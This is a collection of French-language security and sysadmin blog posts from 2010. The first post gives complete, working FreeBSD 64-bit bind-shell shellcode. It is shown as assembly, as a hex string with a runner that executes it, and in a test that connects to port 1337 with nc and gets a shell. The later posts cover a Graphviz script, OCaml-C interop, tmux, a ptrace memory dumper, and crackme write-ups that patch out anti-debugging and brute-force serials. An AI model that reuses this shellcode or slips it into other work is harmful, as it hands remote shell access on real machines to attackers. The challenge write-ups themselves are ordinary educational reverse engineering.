29/08/2010

Bind sh on freebsd 64 bits

J'ai souhaité écrire un shellcode qui bind un shell sur le port 1337, le tout sur FreeBSD architecture 64 Bits : Qui sait ça servira peut être à quelqu'un. Pour ma part si je l'ai écrit c'etait pour le fun et qu'il était introuvable à travers le net (tout du moins sur les sites Exploit-db ou encore Shell-Storm).

Avant de se lancer dans le code récupérons les informations nécessaire à son écriture :

% cat /usr/src/sys/kern/syscalls.master | grep 'socket\|bind\|listen\|accept\|dup2\|execve'
30      AUE_ACCEPT      STD     { int accept(int s, \
59      AUE_EXECVE      STD     { int execve(char *fname, char **argv, \
90      AUE_DUP2        STD     { int dup2(u_int from, u_int to); }
97      AUE_SOCKET      STD     { int socket(int domain, int type, \
104     AUE_BIND        STD     { int bind(int s, caddr_t name, \
106     AUE_LISTEN      STD     { int listen(int s, int backlog); }

Code :

# socket(AF_INET, SOCK_STREAM,IPPROTO_TCP)
push $0x61
pop %rax
push $0x6	
pop %rdx
push $0x2
pop %rdi
push $0x1
pop %rsi
syscall

# bind(socket, server, sizeof(server))
mov %rax,%rdi
push $0x68
pop %rax
push $0x39050102
mov %rsp,%rsi
push $0x10
pop %rdx
syscall

# listen(socket, 1)
push $0x1
pop %rsi
push $0x6A
pop %rax
syscall

# accept(socket, 0, 0)
xor %rsi, %rsi
xor %rdx, %rdx
push $0x1e
pop %rax
syscall

# dup2 stdin
# dup2 stdout
# dup2 stderr
mov %rax,%rdi
push $0x5a
pop %rax
push $0x2
pop %rsi
syscall
dec %rsi
push $0x5a
pop %rax
syscall
dec %rsi
push $0x5a
pop %rax
syscall

# execve("/bin/sh", ["/bin/sh"], NULL
push $0x3b 	    
pop %rax
cltd
mov $0x68732f2f6e69622f,%rbx
push %rdx
push %rbx
push %rsp	
pop %rdi
push %rdx
push %rdi
push %rsp	
pop %rsi
syscall

Pour le compiler :

as -o bind_sh.o bind_sh.s
ld -o bind_sh bind_sh.o

Le shellcode en lui même :

int
main()
{
  const char *shcode =  "\x6a\x61\x58\x6a"
    "\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f"
    "\x05\x48\x89\xc7\x6a\x68\x58\x68\x02"
    "\x01\x05\x39\x48\x89\xe6\x6a\x10\x5a"
    "\x0f\x05\x6a\x01\x5e\x6a\x6a\x58\x0f"
    "\x05\x48\x31\xf6\x48\x31\xd2\x6a\x1e"
    "\x58\x0f\x05\x48\x89\xc7\x6a\x5a\x58"
    "\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a"
    "\x5a\x58\x0f\x05\x48\xff\xce\x6a\x5a"
    "\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb"
    "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52"
    "\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";

  printf("Size = %d\n",strlen(shcode));
  (*(void (*)()) shcode)();
}

Test :

% gcc bind_sh.c -o bind_sh
% ./bind_sh
Size = 103

Dans un autre terminal :

% sockstat -4 | grep bind_sh
w4kfu    bind_sh    12151 3  tcp4   *:1337                *:*
% nc localhost 1337
ls
bind_sh
bind_sh.o
bind_sh.s
bind_sh.c

28/08/2010

Having fun with dot

Présentation

GraphViz est une application permettant de représenter graphiquement des graphes. Elle a été conçu par une équipe des laboratoires de recherches de AT&T. Elle est entièrement paramétrable, personalisation des formes, couleurs, polices de caractères ... Elle suppporte aussi beaucoup de formats de sortie : gif, jpg, png ... Afin d'en montrer la puissance et la simplicité du format en entrée : fichier .dot, je me suis amusé à écrire un script bash qui crée un graph de toute la hiérarchie des processus à l'aide de la commande ps. Ici j'utilise le générateur Dot qui je pense est le plus approprié pour le résultat souhaité.

Code

#!/bin/sh

if [ $# -ne 1 ]
then
  echo "Usage : $0 <type>"
else
  if [ $1 != "PID" ] && [ $1 != "NAME" ] && [ $1 != "PID_NAME" ]
  then
    echo "type : - PID = Create graph with the pid of the different process"
    echo "       - NAME = Create graph with the name of the different process"
    echo "       - PID_NAME = Create graph with the name & pid of the different process" 
  else
    if test -f ps_graph.dot
    then
      rm ps_graph.dot
    fi
    echo "digraph G{node [color=lightblue1, style=filled];" > ps_graph.dot
    ps -axo pid,ppid,command | tail -n +2| while read ligne;
    do
    PID=`echo $ligne | cut -d " " -f1`
    PPID=`echo $ligne | cut -d " " -f2`
    if [ $1 = "PID" ]
    then
      out="${PPID} -> ${PID};"
    else
      NAME=`echo $ligne | cut -d " " -f3`
      OLDNAME=`ps -p $PPID -o command | tail -n +2 | cut -d " " -f1`
      if [ $1 = "NAME" ]
      then
      out="\"${OLDNAME}\" -> \"${NAME}\";"
      else
      out="\"$PPID::${OLDNAME}\" -> \"$PID::${NAME}\";"
      fi
    fi
    echo $out >> ps_graph.dot
    done
    echo "}" >> ps_graph.dot
    dot ps_graph.dot -Tpng -o ps_graph.png
  fi
fi

Résultat

ps_graph

Voir l'image en grand.

28/08/2010

Communication Ocaml et C

Ce billet a pour but de montrer comment récupérer un tableau alloué dynamiquement en Ocaml dans un programme écrit en C. En regardant la doc de l'INRIA sur l'interfaçage entre du C et du Ocaml, on ne retrouvait des exemples qu'avec des types (Int, Char, String, ...) mais pour ma part, il fallait que je passe du type Char Array Array (Ocaml) à char ** (C). C'est en regardant du côté du module BigArray, que l'on peut voir qu'il existe un module Bigarray.Array2 permettant la manipulation des tableaux à 2 dimensions facilement.

Les BigArray peuvemt manipuler du type Char :

val char : (char, int8_unsigned_elt) kind

Et un layout permettant l'interportabilité avec le C :

type c_layout 

A partir de tous ces éléments j'étais en mesure d'écrire un programme de test :

Code Ocaml :

(* Function just for Allocating our 2D table *)
let create_tab n m init =
  let tab = Array.make n (Array.make m init) in
    for i = 1 to n - 1 do
      tab.(i) <- Array.make m init
    done;
    tab

(* Function for creating the table and returning it *)
let create_tab () =
  Random.self_init();
  let tab = create_tab 20 30 'X' in
    init_tab tab;
    Bigarray.Array2.of_array Bigarray.char Bigarray.c_layout tab

(* Export "create_tab" function to C *)
let _ = Callback.register "create_tab callback" create_tab

Code C :

#include <stdio.h>
#include <stdlib.h>
#include <caml/mlvalues.h>
#include <caml/callback.h>
#include <caml/bigarray.h>

/* I return my Char array array allocated in ocaml like this
   Bigarray.Array2.of_array Bigarray.char Bigarray.c_layout tab
*/
int
test()
{
  /* 2d table */
  char **tab;
  /* simpli value for counting */
  int i,j,k=0;
  /* Widht , height */
  int w,h;
  /* pointer to data part */
  char *p;
  /* pointer to the value registered under a name */
  static value *f = NULL;

  f = caml_named_value("create_tab callback");
  /* Applies the functional value f and return the value returned by f */
  value ret = caml_callback(*f,Val_unit);
  /* i-th dimension Get the Width & Height */
  w = Bigarray_val(ret)->dim[0];
  h = Bigarray_val(ret)->dim[1];
  /* We look is everything ok ? */
  printf("\nw = %d\n",w);
  printf("\nh = %d\n",h);
  /* Get a pointer to the data part of the array */
  p = Data_bigarray_val(ret);
  /* Ok now we alloc enough place */
  tab = (char**)malloc(sizeof(char*)*w);
  if(!tab)
    return 1;
  for(i=0;i<w;i++)
    {
      tab[i] = (char*)malloc(sizeof(char)*h);
      if(!tab)
        return 1;
    }
  /* Here we copy everyhting in a table of 2 dimension
     More easier to manipulate it no ? */
  for(i=0;i<w;i++)
    for(j=0;j<h;j++)
      {
        tab[i][j] = p[k];
        k++;
      }
  /* And now we watch if everything is ok */
  for(i=0;i<w;i++)
    {
      for(j=0;j<h;j++)
        printf("%c | ",tab[i][j]);
      printf("\n");
    }
}

int
main(int argc,char **argv)
{
  caml_startup(argv);
  test();
  return 0;
}

Vous êtes en mesure maitenant de faire communiquer vos programmes Ocaml avec des programmes en C tout en manipulant des tableaux à X dimensions. X dimensions, Oui, car si vous lisez bien les pages du manuel que je vous ai linké, vous verrez que cela est possible.

28/08/2010

Zsh Navigator Stat

Présentation

Séparément du coeur de zsh, il existe des modules que l'on peut charger, ici j'ai utilisé le module ncurses qui permet de créer une interface utilisateur, indépendante du terminal.

Zsh Navigator Stat est un simple script permettant de faire des statistiques sur les différents navigateurs qui viennent polluer les logs de votre serveur Web.

Code

#!/usr/bin/env zsh

zmodload zsh/curses

integer y
integer length

title="Zsh Navigator Stat"
length=$COLUMNS/2

init()
{
  zcurses addwin main $(( $LINES - 2 )) $(( $COLUMNS - 2 )) 1 1
  zcurses move main 1 $(( ($COLUMNS - 2 - $#title) / 2 ))
  zcurses string main $title
  y=4
}

clean()
{
  for win ($zcurses_windows); do
    [[ -z ${win:#(main|stdscr)} ]] && continue
    zcurses delwin $win
  done
  zcurses delwin main
  zcurses clear stdscr
}

Exit()
{
  clean
  zcurses end
  exit
}

more()
{
  zcurses move main $(($y+1)) 17
  zcurses refresh main
  zcurses addwin record 1 17 $(($y+2)) 6 main
  zcurses attr record green/red bold
  zcurses string record "- - More - -"
  zcurses refresh record
  while [[ -z $REPLY ]] && [[ -z $key ]]; do
    zcurses input main REPLY key
  done
  case $REPLY in
    (q)
    Exit
    ;;
  esac
  key=
  REPLY=
}

print_stat()
{
  for line in $(awk '!($1 in wtf) {print $12}' access.log | uniq | sort | uniq -c | sort -rn | sed 's/\"/,/' | awk '{print $1$2}'); do
    zcurses move main $y 5
    line=(${(s:,:)line})
    [ ${#line[2]} -le 2 ] && continue
    line[2]=$(echo $line[2] | sed 's/[;\"]/ /' )
    zcurses string main $line[2]
    zcurses move main $y 60
    zcurses string main "[${(r:$length::-:)${(l:$(( $line[1] / 1))::=:)"="}}] ($line[1])"
    y+=1
    if (( $(($y+4)) >= ($LINES) )); then
      more
      clean
      init
    fi
    zcurses refresh main
  done
}

zcurses init
init
print_stat
Exit

Résultat

zsh_stat

Bugs

Afin que le résultat soit un minimum joli la largeur du terminal doit être au minimum de 150 pixels. Pourquoi ? car comme vous pouvez le constater sur l'image ci-dessus quand des b0ts à la #$% viennent scanner votre site, ils ont des noms à rallonge.

17/08/2010

This is Tmux !

Présentation

Dans un billet précédent, je montrais une tricks sous tmux sans même l'avoir présenté. Je vais remédier à ça.

Tmux est un multiplexeur de terminal, celà permet d'accéder et contrôler plusieurs terminaux à partir d'un seul terminal. Tmux est destiné à être une alternative simple, moderne sous license BSD à des programmes comme GNU Screen.

Tmux apporte certains avantages par rapport à screen :

Tmux à la différence de screen peut splitter verticalement, sans avoir recours à une recompilation après application d'un patch.

Dans tmux, on utilise par defaut le préfixe Ctrl-b et non Ctrl-a, qui est quand même plus confortable. Tmux est aussi dans le base de Open-BSD ( par ce biais que je l'ai connu ) et bientôt FreeBSD, en attendant il est disponible dans vos ports.

Seul hic que je puisse lui reprocher mais pas bien méchant, on ne peut pas afficher la liste des fenêtres sous forme de menu sélectionnable comme sous screen ( Ctrl-a+" ).

Raccourcis

Un tableau récapitulatif des différentes combinaisons pour tmux et screen :

^ signifie ctrl+, donc ^x c'est ctrl+x. M- signifie alt+, donc M-x c'est alt+x

Action tmux screen
Démarrer une nouvelle session tmux OUtmux new OUtmux new-session screen
Rattacher à une session detaché tmux attach OUtmux attach-session screen -r
Rattacher à une session detaché(Detache toute autre session rattachée) tmux attach -d OUtmux attach-session -d screen -dr
Rattacher à une session detaché (Multiple affichage) tmux attach OUtmux attach-session screen -x
Detacher la session courante ^b d OU^b :detach ^a ^d OU^a :detach
Renomme la fenêtre ^b , <newname> OU^b :rename-window <newname> ^a A <newname>
Lister fenêtres ^b w ^a w
Lister fenêtres dans un menu selectionnable ^a "
Aller à la fenêtre # ^b # ^a #
Aller à la dernière fenêtre active ^b l ^a l
Aller à la fenêtre suivante ^b n ^a n
Aller à la fenêtre précédente ^b p ^a p
Aide ^b ? ^a ?
Lister les sessions ^b s OUtmux ls OUtmux list-sessions screen -ls
Créer un nouveau shell ^b c ^a c
Quitter shell courant ^d ^d
Split horizontal ^b "
Split vertical ^b %
Change de fenêtre ^b o
Ferme la fenêtre actuelle ^b x OU (logout/^D)
Ferme les fenêtres sauf celle active ^b !
Horloge ^b t

Scripting

Dans les fonctionnalitées de Tmux, je parlais de scripting en voici un exemple :

> cat tmux_launch.sh
#!/bin/sh

tmux new-session -d -s terms -n SHELLS
tmux new-window -t terms:1 -n IRC
tmux new-window -t terms:2 -n WEB
tmux new-window -t terms:3 -n MAIL

tmux send-keys -t terms:1 'irssi' C-m
tmux send-keys -t terms:2 'elinks' C-m
tmux send-keys -t terms:3 'mutt' C-m

tmux select-window -t terms:1
tmux attach-session -d -t terms

La première commande va créer une nouvelle session detâchée ( -d ) dont le nom sera "terms" ( -s ), la premièere fenêtre se nommera "SHELLS" ( -n ).

Ensuite cela crée 3 fenêtres dont les noms sont "IRC", "WEB", "MAIL" et où on lancera les programmes associés à chacune d'elle.

On sélectionne pour finir la fenêtre sur laquelle on veut apparaître puis on s'attache à la session.

Configuration

Je vous fais part aussi de mon .tmux.conf à placer dans votre $HOME :

# Status Bar
set-option -g status-bg black 
set-option -g status-fg green
set -g status-left-length 30
set -g status-left "%a %d/%m - %R [@#(hostname -s)]"
set -g status-right "#(sysctl -n vm.loadavg)"
setw -g window-status-current-bg red

# Titre Fenetre
set-option -g set-titles on
setw -g automatic-rename on

# BindKeys
bind-key S split-window
bind-key Tab down-pane
bind-key X kill-pane

# Historique
set-option -g history-limit 250

Voilà c'est tout pour l'instant sur Tmux. Je vous invite à lire le manuel si cet article vous donne envie de migrer à tmux.

15/08/2010

Un patch strace 64 bits pour FreeBSD

La plupart du temps les challenges en rapport avec la sécurité informatique sont destinés aux systémes d'exploitation GNU/Linux.

Des crackme pour FreeBSD, à part si on se les fait soit même ça n'existe pas. On peut bien sur virtualiser à l'aide de qemu, virtualbox mais il faut l'avouer c'est coûteux.

Mais sous FreeBSD, nous avons linuxulator une couche d'émulation permettant de faire tourner des applis Linuxienne sous notre os à la boule rouge.

On charge le module :

#kldload linux

C'est bien gentil de pouvoir éxécuter, mais on aimerait pouvoir surveiller les différents syscalls de notre application.

Sous FreeBSD, nous avons l'excellent outil truss, ainsi que Dtrace mais lorsque je traçais des binaires, je n'aimais pas l'affichage :

linux_brk(0x0,0x28069fd0,0x8048440,0xafe9fbff,0xbfbfffac,0x6) = 134520832 (0x804a000)
linux_newuname(0xbfbfe4e2,0x2806a284,0x28069fd0,0x2806a648,0x2806a648,0x6) = 0 (0x0)

Le linux à chaque début de ligne me déplaisait, c'est alors que je sors strace mais là c'est le drame strace n'est compatible que pour archi i386.

J'ai donc décidé de me lancer dans l'ecriture d'un patch non-officiel.

Premièrement placez vous dans /usr/ports/devel/strace et commentez dans le fichier Makefile la ligne suivante :

ONLY_FOR_ARCHS= i386

On lance la commande make, histoire que ca fetch comme il faut les fichiers dont on a besoin, mais une fois le processus de configuration lancé ça foire. C'est là que le semblant de patch que j'ai écrit rentre en jeux :

# cd /usr/ports/devel/strace/work
# fetch http://blog.w4kfu.com/public/strace_64bits.patch
# patch -p0 < strace_64bits.patch

Il ne vous restera qu'à relancer un configure puis de make.

# cd strace-4.5.18
# ./configure
# make

Attention ce patch n'a été testé que avec strace version 4.5.18 ! et il n'est surement pas fonctionnel à 100%.

05/08/2010

jail nom_jail not found

Lors de l'utilisation de la commande jexec je voulais être capable d'utiliser le nom de ma jail au lieu de faire un jls et passer par son JID.

En lisant le man je vois que cela est possible :

jail [-hi] [-n jailname]

Je teste donc l'option :

# jexec -n nom_jail ps
jexec: jail nom_jail not found

Je vérifie à l'aide de la commande jls pour voir si je me trompe pas dans le nom de la jail. Non.

Bon bah, il reste plus qu'à RTFM ( man jail ) et là on peut voir :

The jail utility creates a new jail or modifies an existing jail, option-ally imprisoning the current process (and future descendants) inside it. The options are as follows: -n jailname Set the jail's name. This is deprecated and is equivalent to setting the name parameter.

Je rajoute donc dans mon rc.conf :

jail_nomjail_flags="-n nomjail"

Je relance la jail... and it works !

20/07/2010

Dump me this !@#$%^ binary

Je mets en ligne un programme qui m'est souvent utile lors de wargames blackbox, j'entends par là des binaires où nous n'avons pas les droits de lecture ( les commandes : strings, gdb, objdump et j'en passe, impossibles à exécuter sur le binaire ).

C'est pourquoi j'ai développé ce tool'z fort utile pour dumper la mémoire du binaire et aller voir tranquillement tout ce qui s'y passe à l'intérieur. Je le mets en ligne ça me servira de post-it et peut être utile à d'autres.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>

int dump(pid_t pid, unsigned long start, unsigned long end);

int
main(int argc, char **argv)
{
  pid_t son;
  int status;
  unsigned long start_address;
  unsigned long stop_address;
  
  if (argc < 4)
    {
      printf("[-] %s : Usage <binaire> <start_addr> <end_addr>\n", argv[0]);
      printf("Example : <start_addr> = 0x0804800 ; <end_addr> = 0x08049b5c\n");
      exit(EXIT_FAILURE);
    }
  start_address = strtoul(argv[2], NULL, 0);
  stop_address = strtoul(argv[3], NULL, 0);
  if (start_address == (unsigned long) - 1 || start_address >= stop_address)
  {
    printf("[-] Bad start or stop address\n");
    exit(EXIT_FAILURE);
  }
  if ((son = fork()) == -1)
    {
      perror("[-] fork()");
      exit (EXIT_FAILURE);
    }
  if (son == 0)
    {
      sleep(1);
      if ( ptrace(PT_TRACE_ME, 0, 0, 0) < 0 )
        {
          perror("[-] ptrace()");
          exit(EXIT_FAILURE);
        }
      if (execl(argv[1], argv[1], NULL) < 0)
        {
          perror("[-] execl()");
          exit(EXIT_FAILURE);
        }
    }
  else
    {
      wait(&status);
      if (WIFEXITED(status))
          exit(EXIT_FAILURE);
      if (dump(son, start_address, stop_address) == 1)
        printf("[-] Dump() failed\n");
      ptrace(PT_KILL, son, 0, 0);
    }
  return 0;
}

int 
dump(pid_t pid, unsigned long start, unsigned long end)
{
  int fd;
  unsigned long dword;
  unsigned long i;

  printf("[+] Dumping ...\n");
  if ((fd = open("dump", O_WRONLY|O_CREAT, 0755)) < 0)
    {
      perror("[-] open()");
      exit(EXIT_FAILURE);
    }
  for (i=start; i<end; i+=4) 
  {
      dword = ptrace(PT_READ_I, pid, (caddr_t)i, 0);
      if (write(fd, &dword, sizeof(dword)) < 0)
          {
          close(fd);
          return 1;
        }
   }
   close(fd);
   printf("[+] Dump from 0x%8.8lx to 0x%8.8lx finish !\n", start, end);
   return 0;
}

Exemple d'utilisation sur le binaire test :

> gcc -o dmtfb dump.c
> ./dmtfb test 0x08048000 0x08049b5c
[+] Dumping ...
[+] Dump from 0x08048000 to 0x08049b5c finish !
> strings dump
/libexec/ld-elf.so.1
FreeBSD
_Jv_RegisterClasses
libc.so.7
printf
environ
__progname
_init_tls
atexit
_end
FBSD_1.0
$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $
i = %d
$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 1.6.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $

18/07/2010

Write up RMLL crackme level 2

C'est parti pour le level suivant du RMLL.

Première approche :

w4kfu@vm-debian:~/RMLL$ ./mars1 
serial : 1234556065906954904560950654
Bad serial :/

On sort gdb pour voir tout ca :

w4kfu@vm-debian:~/RMLL$ gdb ./mars1 
(gdb) disas main
....
0x0804888c <main+9>:	        movl   $0xd6eddb56,0x1e(%esp)
0x08048894 <main+17>:		movl   $0x8086fb8b,0x22(%esp)
0x0804889c <main+25>:		movl   $0x9e0847d1,0x26(%esp)
0x080488a4 <main+33>:		movl   $0x638ce745,0x2a(%esp)
0x080488ac <main+41>:		movb   $0x0,0x2e(%esp)
...
0x080488f2 <main+111>:	call   0x804842c <ptrace@plt>
...
0x080489cd <main+330>:	call   0x804844c <strlen@plt>
0x080489d2 <main+335>:	cmp    $0x10,%eax
...
0x08048a76 <main+499>:	call   0x8048554 <chiffre>
...
0x08048ac5 <main+578>:	call   0x804840c <memcmp@plt>
....

On retrouve les même symptômes que le premier challenge, à la différence du ptrace et du code complètement offusqué. Si on s'amuse à disas la fonction chiffre c'est pas beau à voir.

On va devoir nettoyer tout ça car on peut y voir des trucs qui vont bien nous ennuyer :

0x0804857e <chiffre+42>:   rdtsc  
0x0804859e <chiffre+74>:   (bad)  
0x080485a0 <chiffre+76>:   leave  
0x080485a3 <chiffre+79>:   sub    %ecx,%eax
0x080485a5 <chiffre+81>:   cmp    $0x3000,%eax
0x080485aa <chiffre+86>:   ja     0x80485aa <chiffre+86>

J'ai donc écrit le code suivant pour enlever toutes ces cochonneries :

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

void look_pattern(int fd);
void replace_pattern(int fd, off_t offset, int nb);

int
main(void)
{
      int fd;

      if ( (fd = open("./copy_mars1", O_RDWR) ) == -1 )
          perror("open()");
      look_pattern(fd);
      close(fd);
      return 0;
}

void
look_pattern(int fd)
{
      off_t offset = 0x554;
      off_t offset_end = 0x87b;
      char pattern[7];

      while ( offset < offset_end)
      {
      	   if (read(fd, pattern, 7) <= 0)
                perror("read()");
          if ( pattern[0] == 0x77 )
               replace_pattern(fd, offset, 2);
	   else if ( pattern[0] == 0xc9 )
	       replace_pattern(fd, offset, 1);
	   else if ( pattern[0] == 0xf1 )
	       replace_pattern(fd, offset, 1);
	   else if (!strncmp(pattern, "\xdb\xe6", 2))
	       replace_pattern(fd, offset, 2);
	   else if (!strncmp(pattern, "\x0f\x31", 2))
	       replace_pattern(fd, offset, 2);
	   else if(!memcmp(pattern, (void*)"\x2b\xc1\x3d\x00", 4))
	       replace_pattern(fd, offset, 9);
	   offset++;
	   lseek(fd, offset, SEEK_SET);
      }
}

void
replace_pattern(int fd, off_t offset, int nb)
{
      int i = 0;

      lseek(fd, offset,SEEK_SET);
      for ( i = 0 ; i < nb ; i++) 
          if ( write(fd, "\x90", 1) == -1)
	      perror("write()");
}

Il faut aussi s'occuper du ptrace, voici le code du wrapper de ptrace :

int ptrace(int a, int b, int c, int d)
{
   return 0;
}

Pour le compiler et l'utiliser au sein de gdb :

>gcc -shared my_ptrace.c -o ptrace.so
(gdb) set environment LD_PRELOAD ./ptrace.so

Mais malheureusement, ça n'a pas suffit, ca m'a nettoyé un peu le disas.. Alors j'ai décidé de m'écrire un script gdb pour tracer TOUT ce que fait la fonction chiffre :

w4kfu@vm-debian:~$ cat .gdbinit
define test
   x/i $eip
   ni
   if ( $eip != 0x08048a7b)
   	  test

Ce script affiche le code exécuté par mon processeur puis fait un next instruction. Tout ça jusqu'à arriver à l'eip 0x08048a7b ( quand on sort de la fonction chiffre ). Je pose donc un breakpoint, j'active les logs et je bourrine ma touche "ENTREE".

(gdb) set environment LD_PRELOAD ./ptrace.so
(gdb) b* chiffre
Breakpoint 1 at 0x8048554
(gdb) r
Starting program: /home/w4kfu/RMLL/copy_mars1 
serial : 1234567890123456

Breakpoint 1, 0x08048554 in chiffre ()
(gdb) set logging file mars1_disas
(gdb) set logging on
Copying output to mars1_disas.
(gdb) test
....
BOURRINAGE TOUCHE ENTREE \o/
....
(gdb) set logging off

Bon par contre y'a 500 trucs qui se répètent et des lignes useless, bon bah on sort notre couteau suisse :

sed "/(gdb)/d" mars1_disas > mars1_disas2
cat mars1_disas2 | sort | uniq > real_disas

On arrive au résultat suivant : mars1_disas. On retranscrit le tout en C :

#include <stdio.h>

int
main(void)
{
      unsigned char in_fct[16] = "\x06\x7f\x92\x55\xea\x97\x0e\x4a\x22\x21\x07\xc7\x7f\x65\x9c\x93";
      unsigned char input[16] = "1234567890123456";
      unsigned int ebp_14;
      unsigned int ebp_c;
      unsigned int eax;
      unsigned int ecx;
      unsigned int edx;
      unsigned char wtf[2];

      ebp_14 = 0;
      while ( ebp_14 <= 0xf )
      {
          ebp_c = 0;
          while ( ebp_c <= ebp_14 )
          {
	      input[ebp_14] = in_fct[ebp_c] ^ input[ebp_14];
	      edx = input[ebp_14] << ( ebp_14 & 0x7 );   
	      wtf[0] = edx;
             eax = ebp_14 & 0x7;
	      ecx = 0x8 - eax;
	      edx = input[ebp_14] >> ecx;
	      wtf[1] = edx;
	      input[ebp_14] = wtf[1] | wtf[0];
	      ebp_c++;
	   }
	   printf("%x\n",input[ebp_14]);
	   ebp_14++;
      }
      return 0;
}

Dans le code ci-dessus, j'ai déclaré les noms de façon assez explicite histoire de pas me tromper dans ce que je faisais. Maitenant qu'on sait comment fonctionne la fonction chiffre, j'ai "bruteforcé" le tout étant donné que l'on a les 16 octets auxquels on doit arriver :

void
bruteforce(void)
{
      unsigned char a;
      unsigned char b;
      unsigned char in_fct[16] = "\x06\x7f\x92\x55\xea\x97\x0e\x4a\x22\x21\x07\xc7\x7f\x65\x9c\x93";
      unsigned char input[17] = {0};
      unsigned char result[16] = "\x56\xdb\xed\xd6\x8b\xfb\x86\x80\xd1\x47\x08\x9e\x45\xe7\x8c\x63";
      unsigned int ebp_14;
      unsigned int ebp_c;
      unsigned int eax;
      unsigned int ecx;
      unsigned int edx;
      unsigned char wtf[2];

      ebp_14 = 0;
      while ( ebp_14 <= 0xf )
      {
      	    a = '\x00';
	    while ( b != result[ebp_14])
	    {
		a += 1;
		b = a;
		ebp_c = 0; 
		while ( ebp_c <= ebp_14 )
		{
		    b = in_fct[ebp_c] ^ b;
		    edx = b << ( ebp_14 & 0x7 );   
		    wtf[0] = edx;
		    eax = ebp_14 & 0x7;
		    ecx = 0x8 - eax;
		    edx = b >> ecx;
		    wtf[1] = edx;
		    b = wtf[1] | wtf[0];
		    ebp_c++;
	         }
	     }
	     input[ebp_14] = a;
	     ebp_14++;
       }
       printf(" input = %s\n", input);
}

On teste tout ça :

w4kfu@vm-debian:~/RMLL$ gcc -o reverse reverse.c
w4kfu@vm-debian:~/RMLL$ ./reverse
input = POGddyrbtjYIoXfv
w4kfu@vm-debian:~/RMLL$ ./mars1 
serial : POGddyrbtjYIoXfv
Good job !
Use your serial as password for the next level !

Voilà c'est fini! Je n'ai pas le level 3 :(, si quelqu'un passe sur le blog et l'a disponible je suis intéressé car une fois le level2 résolu la machine était down.

18/07/2010

Write up RMLL crackme level 1

Ce billet aurait dû sortir il y a une semaine mais le week-end dernier se déroulait le smpCTF auquel j'ai participeéau sein de l'équipe BiG-DadDy ( arrivée 12ème ) ou avec dad nous nous sommes occupés surtout des épreuves p0wnMe, bref maintenant j'ai le temps donc je le consacre à faire ce write up.

Du 6 au 11 Juillet 2010, à Bordeaux se déroulait les Rencontres Mondiales du Logiciel Libre. Je fais actuellement un stage dans la boite XXXX et mon maître de stage se rendait sur place ( je n'ai pas eu la chance de l'accompagner :( ). Bref, dès son premier jour d'arrivée il m'envoie un e-mail avec ce lien.

Quoi des challenges de sécurité !?! Je me précipite sur les crackme.

Première approche :

w4kfu@vm-debian:~/RMLL$ ./mars0 
serial : 34534343423432403245-450-435-043-50435
Nice try ! But ... no ...

Allez hop on sort gdb :

w4kfu@vm-debian:~/RMLL$ gdb ./mars0 
...
(gdb) disas main
....
0x0804855b <main+9>:	        movl   $0xc49c6547,0x1e(%esp)
0x08048563 <main+17>:		movl   $0xee987f5e,0x22(%esp)
0x0804856b <main+25>:		movl   $0x4cced336,0x26(%esp)
0x08048573 <main+33>:		movl   $0xee7c11e4,0x2a(%esp)
.....
0x080485a9 <main+87>:	call   0x80483e4 <strlen@plt>
0x080485ae <main+92>:	cmp    $0x10,%eax
....
0x080485d2 <main+128>:	call   0x80484f4 <chiffre>
....
0x080485ee <main+156>:	call   0x80483b4 <memcmp@plt>
0x080485f3 <main+161>:	test   %eax,%eax
0x080485f5 <main+163>:	jne    0x804860a <main+184>
....

Déjà ici on peut commencer à comprendre un peu le fonctionnement de notre crackme :

Posons un breakpoint sur le memcmp() :

(gdb) b* main+156
Breakpoint 1 at 0x80485ee
(gdb) r
Starting program: /home/w4kfu/RMLL/mars0 
serial : 1234567890123456
Breakpoint 1, 0x080485ee in main ()
(gdb) x/4x $esp
0xbfffecc0:	0xbfffecef	0xbfffecde	0x00000010	0x080483a0
(gdb) x/4x 0xbfffecef
0xbfffecef:	0xb5dd0032	0x85f83d00	0x3ca1842f	0xca5e21a6  <<< Notre SERIAL
(gdb) x/4x 0xbfffecde
0xbfffecde:	0xc49c6547	0xee987f5e	0x4cced336	0xee7c11e4  <<< Ce a quoi il est comparee

Regardons maitenant du côté de la fonction chiffre :

(gdb) disas chiffre
0x080484f5 <chiffre+1>:	mov    %esp,%ebp
0x080484f7 <chiffre+3>:	sub    $0x20,%esp
0x080484fa <chiffre+6>:	movl   $0x82e83303,-0x15(%ebp)
0x08048501 <chiffre+13>:       movl   $0xbac50639,-0x11(%ebp)
0x08048508 <chiffre+20>:       movl   $0x19abd6e,-0xd(%ebp)
0x0804850f <chiffre+27>:       movl   $0x8f1d6099,-0x9(%ebp)
0x08048516 <chiffre+34>:       movb   $0x0,-0x5(%ebp)
0x0804851a <chiffre+38>:       movl   $0x0,-0x4(%ebp)
0x08048521 <chiffre+45>:       jmp    0x804854a <chiffre+86>
0x08048523 <chiffre+47>:       mov    -0x4(%ebp),%eax
0x08048526 <chiffre+50>:       add    0x8(%ebp),%eax
0x08048529 <chiffre+53>:       mov    -0x4(%ebp),%edx
0x0804852c <chiffre+56>:       add    0x8(%ebp),%edx
0x0804852f <chiffre+59>:       movzbl (%edx),%ecx
0x08048532 <chiffre+62>:       mov    -0x4(%ebp),%edx
0x08048535 <chiffre+65>:       lea    (%ecx,%edx,1),%edx
0x08048538 <chiffre+68>:       mov    %edx,%ecx
0x0804853a <chiffre+70>:       mov    -0x4(%ebp),%edx
0x0804853d <chiffre+73>:       movzbl -0x15(%ebp,%edx,1),%edx
0x08048542 <chiffre+78>:       xor    %ecx,%edx
0x08048544 <chiffre+80>:       mov    %dl,(%eax)
0x08048546 <chiffre+82>:       addl   $0x1,-0x4(%ebp)
0x0804854a <chiffre+86>:       cmpl   $0xf,-0x4(%ebp)
0x0804854e <chiffre+90>:       jle    0x8048523 <chiffre+47>
